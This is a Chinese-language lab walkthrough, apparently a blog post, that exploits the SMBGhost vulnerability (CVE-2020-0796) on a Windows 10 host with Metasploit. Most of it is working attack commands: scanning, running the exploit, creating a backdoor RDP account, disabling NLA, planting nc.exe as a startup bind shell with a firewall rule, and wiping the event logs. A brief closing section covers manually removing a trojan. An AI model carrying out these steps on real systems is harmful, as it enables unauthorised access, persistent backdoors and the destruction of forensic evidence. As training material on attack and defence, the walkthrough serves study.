永恒之黑漏洞(cve-2020-0796)利用及后门维持权限
永恒之黑漏洞(cve-2020-0796)利用及后门维持权限
实验环境:
kali主机,攻击机,ip:192.168.1.53
目标主机,windows10 1903,ip:192.168.1.60
实验目标:1.扫描获取目标信息,确认攻击目标
- 通过漏洞渗透目标主机,获取权限
- 维持权限,在目标主机上植入后门,通过自启动、计划任务等手段自动下载、启动木马程序
- 清除日志,扫除入侵痕迹。
- 反黑:升级补丁,通过日志查找入侵凭证,查杀被植入的木马
目录
使用永恒之黑漏洞对win10进行渗透 1
1.1扫描获取目标信息 1
1.1.1端口扫描 1
1.1.2服务识别 2
1.1.3漏洞查找 3
1.1.4 搜索MSF中对应模块 3
1.2利用MSF模块获取目标主机权限 4
1.2.1 加载模块 4
1.2.2 运行漏洞利用模块 5
1.3后渗透维持权限 7
1.3.1 远程桌面连接目标 7
1.3.2修改注册表启动项长久维持权限 10
1.3.3手动木马的查杀 16
1.1扫描获取目标信息
使用扫描工具nmap对目标进行扫描
1.1.1端口扫描
Kali主机对目标进行扫描
─# nmap -sS 192.168.1.15 192.168.1.60

都开放445端口,提供smb服务
1.1.2服务识别
进入msf框架,对目标主机的smb版本识别
加载SMB版本扫描模块
msf6 > use auxiliary/scanner/smb/smb_version

查看配置
msf6 auxiliary(scanner/smb/smb_version) > show options

配置参数
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.5 192.168.1.60

运行模块
msf6 auxiliary(scanner/smb/smb_version) > run

可以得到2个主机的smb版本都是SMB 3.1.1
1.1.3漏洞查找
根据smb服务的版本使用searchsploit软件搜索SMB 3.1.1对应版本存在的漏洞
└─# searchsploit SMB 3.1.1

SMB 3.1.1协议存在可以利用poc
选择第二个
Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation | windows/local/48267.txt
将poc利用文件复制到当前目录
└─# searchsploit -m 48267

打开文件48267.txt
└─# cat 48267.txt

得到SMB 3.1.1对应的漏洞为CVE-2020-0796
1.1.4 搜索MSF中对应模块
msf6 > search cve-2020-0796

MSF中存在CVE-2020-0796利用模块
1.2利用MSF模块获取目标主机权限
成功利用cve-2020-0796模块需要三个条件:
- Windows10 的版本号为1903或1909,并且没有打补丁KB4551762
- 445端口开启(网络共享开启)
- 网络模式为“专用”
1.2.1 加载模块
开启kali终端
msf6 > use exploit/windows/smb/cve_2020_0796_smbghost

配置参数
payload使用默认的
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show options

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.1.15 192.168.1.60

msf6 exploit(multi/handler) > set LHOST 192.168.1.53

msf6 exploit(multi/handler) > run

1.2.2 运行漏洞利用模块
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

没有完成渗透
提示:Disable the DefangedMode option to proceed.
要将DefangedMode设置为false
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set DefangedMode false

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

提示缺失文件
在另外终端将缺失文件解压到/usr/share/metasploit-framework/下
上传缺失文件包

└─# ll

解压到/usr/share/metasploit-framework/
└─# unzip external.zip -d /usr/share/metasploit-framework/

继续运行漏洞利用模块
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > run

对目标渗透成功,已经获取到system权限
1.3后渗透维持权限
后渗透的目的是长久保持对目标的权限,主要手段是植入后门
1.3.1 远程桌面连接目标
1.kali主机上使用enable-rdp模块创建目标主机rdp用户
把当前连接保存到后台不退出连接
meterpreter > background

进程已经保存到后台,session为1
- 加载后渗透模块enable_rdp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > use post/windows/manage/enable_rdp

查看配置参数
msf6 post(windows/manage/enable_rdp) > show options

创建目标主机RDP用户test
msf6 post(windows/manage/enable_rdp) > set USERNAME test

目标主机RDP用户test的密码
msf6 post(windows/manage/enable_rdp) > set PASSWORD 123456

加载已经建立连接的进程号session为1

3.运行enable_rdp模块
msf6 post(windows/manage/enable_rdp) > run

远程创建rdp账号test,密码123456成功
4.查询目标主机NLA(网络级身份验证)是否开启
如果目标主机开启NLA,建立的RDP账号将不能通过RDP连接到目标主机
查询已经获取shell的session
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > sessions

回到前期获取权限session
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > sessions -i 2
通过查询目标机注册表来确定是否开启了 NLA。
meterpreter > reg queryval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v SecurityLayer

meterpreter > reg queryval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication

根据查询结果 SecurityLayer(2 )和 UserAuthentication (1)的值,可以知道目标机开启了 NLA以上说明目标主机上的NLA(网络级身份验证)处在开启状态,不能够直接用rdp连接目标主机。
- 通过远程修改注册表关闭NLA
通过修改注册表将 SecurityLayer 和 UserAuthentication 的值修改为 0,就可以关闭NLA。
meterpreter reg 指令参数:
reg -h # 查看帮助
-k #注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值
修改注册表将 SecurityLayer的值改为0
meterpreter > reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v SecurityLayer -t REG_DWORD -d 0

修改注册表将UserAuthentication 的值改为0
meterpreter > reg setval -k HKLM\\SYSTEM\\ControlSet001\\Control\\"Terminal Server"\\WinStations\\RDP-Tcp -v UserAuthentication -t REG_DWORD -d 0

NLA关闭成功
- 另开终端建立rdp连接
└─# rdesktop 192.168.1.60 -u test -p 123456


远程桌面连接成功
1.3.2修改注册表启动项长久维持权限
直接利用漏洞获取目标权限不稳定,为长久的获取目标主机的权限,需要通过植入后门来实现。
实验过程中的木马因没有做过免杀,能够被windows的defender发现并杀掉,为保证试验成功,将C盘排除。





- 通过已获取的权限上传后门
后门可以是MSF生成的,甚至可以是勒索病毒。这里使用nc.exe作为后门
nc也被称为网络瑞士军刀,功能强大
nc 参数解释:
L 用户退出后重新进行端口侦听
d 后台运行
p 指定端口
-e 连接后执行的程序
在kali主机上利用已经获取的shell上传nc.exe
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

Nc.exe上传到c盘下windows/system32文件夹下
- 注册表添加启动项执行 nc 反弹 shell 命令
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

目标重启后将启动后门程序
3.修改防火墙允许 443 端口访问网络
运行shell,执行windows命令修改防火墙
meterpreter > shell

新建一个防火墙规则允许入栈访问443端口
C:\Windows\system32>netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow

4.自启动后门并连接
重启Windows 10
kali主机上新开一个终端

连接失败,原因用户账号没有登录
用户登录后

检查端口开放

443端口处在监听状态
kali上重新连接

已经获得shell

小结:上传木马后让木马自动运行的方式:注册表自启动项、添加计划任务、注入到常用的exe文件等等
1.3.3删除windows日志
1.查看windows日志
Windows10的安全日志可以看到所有的登录和登录失败的记录,根据日志记录可以溯源和固定证据。入侵后一般要删除日志。
按下组合键win+r,然后输入’eventvwr.exe‘

登录信息都可以看到

2.删除日志
常用两种方法
一是在获取权限后直接使用meterpreter的删除日志命令


另外是利用专门编写的删除windows日志文件的批处理文件删除日志
打开日志删除文件查看里面的命令
└─# cat 日志删除.bat

上传日志删除批处理文件
因编码问题不能上传中文文件名的文件,改名
mv 日志删除.bat rizhishanchu.bat

上传日志删除文件
meterpreter > upload /root/rizhishanchu.bat c:\\windows\\system32

执行删除日志命令
meterpreter > execute -f c:\\windows\\system32\\rizhishanchu.bat

删除批处理文件
meterpreter > del c:\\windows\\system32\\rizhishanchu.bat

- 查看windows日志

1.3.4手动木马的查杀
手动查杀木马的思路:
端口----进程-----文件
- 检查可疑连接端口及进程
netstat -ano

发现连接外部ip4444端口的连接PID为2504的很可疑
2.查找进程对应的程序名称
tasklist |findstr 2504

3.进一步查找具体路径
wmic process where processid=2504 get processid,executablepath,name

4.杀木马进程
taskkill /PID 2504 /F
或者
ntsd -c q -p 2504
5.删除木马文件
Delete c:/windows/system32/muma.exe
浙公网安备 33010602011771号